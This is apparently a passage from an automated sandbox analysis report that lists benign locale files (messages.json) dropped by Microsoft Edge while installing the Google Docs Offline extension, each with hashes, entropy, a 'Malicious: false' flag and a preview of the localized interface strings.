Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
